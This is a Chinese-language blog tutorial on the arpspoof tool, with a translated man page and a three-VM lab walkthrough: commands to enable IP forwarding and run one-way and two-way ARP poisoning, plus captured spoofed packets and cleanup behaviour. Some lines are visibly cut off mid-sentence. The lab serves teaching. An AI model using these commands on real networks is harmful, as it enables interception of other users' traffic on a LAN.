ARP欺骗工具arpspoof的用法

by Werner 2017年3月30日

---

arpspoof是一个好用的ARP欺骗工具，Kali linux中自带了该工具，在ubuntu中，安装它只需运行命令：

```
sudo apt-get install dsniff
```

安装完成后，输入命令：man arpspoof 可以查看使用手册，2.4版本的手册内容如下（自己翻译的，非官方）：

```
名字
       arpspoof - 截获交换局域网中的数据包

用法
       arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host

描述
       arpspoof通过伪造的ARP响应包改变局域网中从目标主机（或所有主机）到另一个主机（host）的数据包转发路径。这是交换局域网中嗅探网络流量的一种
       内核IP转发（或如fragrouter这样的、用户层面的、能完成同样功能的软件）必须提前开启。

参数
       -i interface
              指定要使用的接口（即指定一块网卡）

       -c own|host|both
              指定在恢复ARP配置时使用的硬件地址；当在清理（cleaning up）时，数据包的源地址可以用自己的也可以用主机（host）的硬件地址。
              使用伪造的硬件地址可能导致某些配置下的交换网络、AP网络或桥接网络通信中断，然而它比起默认值——使用自己的硬件地址要工作地更为可靠。

       -t target
              指定一个特殊的、将被ARP毒化的主机（如果没有指定，则认为是局域网中所有主机）。重复可以指定多个主机。

       -r     毒化两个主机（目标和主机（host））以捕获两个方向的网络流量。（仅仅在和-t参数一起使用时有效）

       host   host是你想要截获数据包的主机 (通常是网关)。

扩展阅读
       dsniff(8), fragrouter(8)

作者
       Dug Song <dugsong@monkey.org>
```

看完使用手册后其实还是不大懂是什么意思，但去实际使用它，试试便明白了。下面是我试验后的经验总结。

首先介绍试验环境，有三台虚拟机：
– 192.168.56.104 8:0:27:35:8e:19 Kali linux, 攻击机
– 192.168.56.101 8:0:27:31:bf:15 Windows XP
– 192.168.56.102 8:0:27:84:9a:41 Windows 7

在使用arpspoof前先开启Kali的IP转发，使用命令：

```
echo 1 > /proc/sys/net/ipv4/ip_forward
```

`/proc/sys/net/ipv4/ip_forward`是配置文件，默认内容为0，表示IP转发是关闭的，使用上述命令将该配置文件的内容改写为1，表示开

`arpspoof` 命令的工作过程分为两部分：

1. 发送伪造的ARP请求包，修改目标主机中ARP缓存表，实施ARP欺骗；
2. 当攻击完成后，再次发送伪造的ARP请求包，修改目标主机中ARP缓存表为正确的值，结束ARP欺骗。

`-i` 参数用于指定一块网卡，必须显式地指定，没有默认值，若不指定，会报错为：`arpspoof: couldn’t arp for host xxx.xxx.xxx.`
若不清楚自己机器上都有哪些网卡，可用命令 `ifconfig` 查看。

`-t` 和 `-r` 参数与第一部分有关，`-c` 参数与第二部分有关。第二部分被作者称为：`cleaning up`，`-c` 中的c大概就是从这里来的。

`-t` 后可以是IP地址，也可以是域名，这里只使用IP地址。

`-t` 参数后的第一个IP地址是要欺骗的主机，第二个IP地址是你要伪装成的主机，如：

```
arpspoof -i eth1 -t 192.168.56.101 192.168.56.102
```

执行上述命令，Kali会向Windows XP(192.168.56.101, 8:0:27:31:bf:15)发送ARP响应包，告诉Windows XP 192.168.56.102的
8:0:27:35:8e:19（这实际上是Kali自己的MAC地址，这是在欺骗Windows XP）：

```
8:0:27:35:8e:19 8:0:27:31:bf:15 0806 42: arp reply 192.168.56.102 is-at 8:0:27:35:8e:19
8:0:27:35:8e:19 8:0:27:31:bf:15 0806 42: arp reply 192.168.56.102 is-at 8:0:27:35:8e:19
8:0:27:35:8e:19 8:0:27:31:bf:15 0806 42: arp reply 192.168.56.102 is-at 8:0:27:35:8e:19
8:0:27:35:8e:19 8:0:27:31:bf:15 0806 42: arp reply 192.168.56.102 is-at 8:0:27:35:8e:19
......
```

每一行代表一个数据包，从左往右，各列的值的含义是：发送者MAC地址(8:0:27:35:8e:19)、接收者MAC地址(8:0:27:31:bf:15)、帧类
表ARP包)、包大小(42，字节)、包内容(arp reply 192.168.56.102 is-at 8:0:27:35:8e:19)。

这样的数据包不会只发送一次，而是周期性地、每隔2秒种就发送一次。这样做的效果是Windows XP发往Windows 7——即发往192.168.56.1
发送到Kali，Kali若开启了IP转发，则会将Windows XP发来的数据包转发给Windows 7。这样，运行在Kali上的Wireshark等网络嗅探工
Windows XP发往Windows 7的数据包了，而在交换局域网中，原本是嗅探不到这样的数据包的。但Windows 7发往Windows XP的数据包会
XP，而不会发给Kali，因为我们目前只欺骗了Windows XP，Windows 7那的ARP信息是真实的。为了能嗅探到来往两个方向的数据包，需要
和Windows 7两个主机，这时需要使用参数 `-r` ：

```
arpspoof -i eth1 -t 192.168.56.101 -r 192.168.56.102
arpspoof -i eth1 -t 192.168.56.101 192.168.56.102 -r
```

上述两条命令是等效的。执行上述命令，会欺骗Windows XP和Windows 7两个主机，发送的伪造ARP响应包如下：

```
8:0:27:35:8e:19 8:0:27:31:bf:15 0806 42: arp reply 192.168.56.102 is-at 8:0:27:35:8e:19
8:0:27:35:8e:19 8:0:27:84:9a:41 0806 42: arp reply 192.168.56.101 is-at 8:0:27:35:8e:19
8:0:27:35:8e:19 8:0:27:31:bf:15 0806 42: arp reply 192.168.56.102 is-at 8:0:27:35:8e:19
8:0:27:35:8e:19 8:0:27:84:9a:41 0806 42: arp reply 192.168.56.101 is-at 8:0:27:35:8e:19
8:0:27:35:8e:19 8:0:27:31:bf:15 0806 42: arp reply 192.168.56.102 is-at 8:0:27:35:8e:19
8:0:27:35:8e:19 8:0:27:84:9a:41 0806 42: arp reply 192.168.56.101 is-at 8:0:27:35:8e:19
......
```

依旧是每隔两秒发一次，不过现在一次发送两个数据包，分别发给Windows XP(8:0:27:31:bf:15)和Windows 7(8:0:27:84:9a:41)。
嗅探Windows XP和Windows 7之间的往来数据了。

ARP攻击进行期间，`arpspoof`会不停地发送伪造的用于欺骗的ARP响应包。当攻击完成后，操作者按下`Ctrl C`，`arpspoof`并不会马上停止，而
（`cleaning up`）工作，通过继续发送伪造的ARP响应包来告诉被欺骗主机目标IP真实的MAC地址。最后用于清理工作的ARP响应包的源MAC地址
机器的MAC地址，还可以是目标IP机器的MAC地址，或者两种都发送。这三种情况对应着 `-c` 参数的三个选项：`own`、`host`或`both`，注意这里的
`h-o-s-t`这四个字母，而不是主机名或主机IP。选择own或host，`arpspoof`在清理时会给每隔被欺骗主机每隔1秒发送共计5个ARP响应包，当
则总共发送10个ARP响应包，耗时10秒。

如执行命令：

```
arpspoof -i eth1 -c both -t 192.168.56.101  192.168.56.102
```

后按下`Ctrl C`，发送的用于清理的ARP响应包如下所示：

```
8:0:27:84:9a:41 8:0:27:31:bf:15 0806 42: arp reply 192.168.56.102 is-at 8:0:27:84:9a:41
8:0:27:35:8e:19 8:0:27:31:bf:15 0806 42: arp reply 192.168.56.102 is-at 8:0:27:84:9a:41
8:0:27:84:9a:41 8:0:27:31:bf:15 0806 42: arp reply 192.168.56.102 is-at 8:0:27:84:9a:41
8:0:27:35:8e:19 8:0:27:31:bf:15 0806 42: arp reply 192.168.56.102 is-at 8:0:27:84:9a:41
8:0:27:84:9a:41 8:0:27:31:bf:15 0806 42: arp reply 192.168.56.102 is-at 8:0:27:84:9a:41
8:0:27:35:8e:19 8:0:27:31:bf:15 0806 42: arp reply 192.168.56.102 is-at 8:0:27:84:9a:41
8:0:27:84:9a:41 8:0:27:31:bf:15 0806 42: arp reply 192.168.56.102 is-at 8:0:27:84:9a:41
8:0:27:35:8e:19 8:0:27:31:bf:15 0806 42: arp reply 192.168.56.102 is-at 8:0:27:84:9a:41
8:0:27:84:9a:41 8:0:27:31:bf:15 0806 42: arp reply 192.168.56.102 is-at 8:0:27:84:9a:41
8:0:27:35:8e:19 8:0:27:31:bf:15 0806 42: arp reply 192.168.56.102 is-at 8:0:27:84:9a:41
```

第一个数据包是从`8:0:27:84:9a:41`（这是`Windows 7`的MAC地址，当然是`Kali`伪造的）发往`Windows XP`（`8:0:27:31:bf:15`），告诉W
`192.168.56.102`（这是`Windows 7`的`IP`）的MAC地址是`8:0:27:84:9a:41`，这个数据包便是 `-c host` 的效果。第二个数据包的源地址是
`8:0:27:35:8e:19`，这是`Kali`的MAC地址，这个数据包是 `-c own` 的效果。由于我们刚刚选择的参数是 `-c both`，故两者皆有。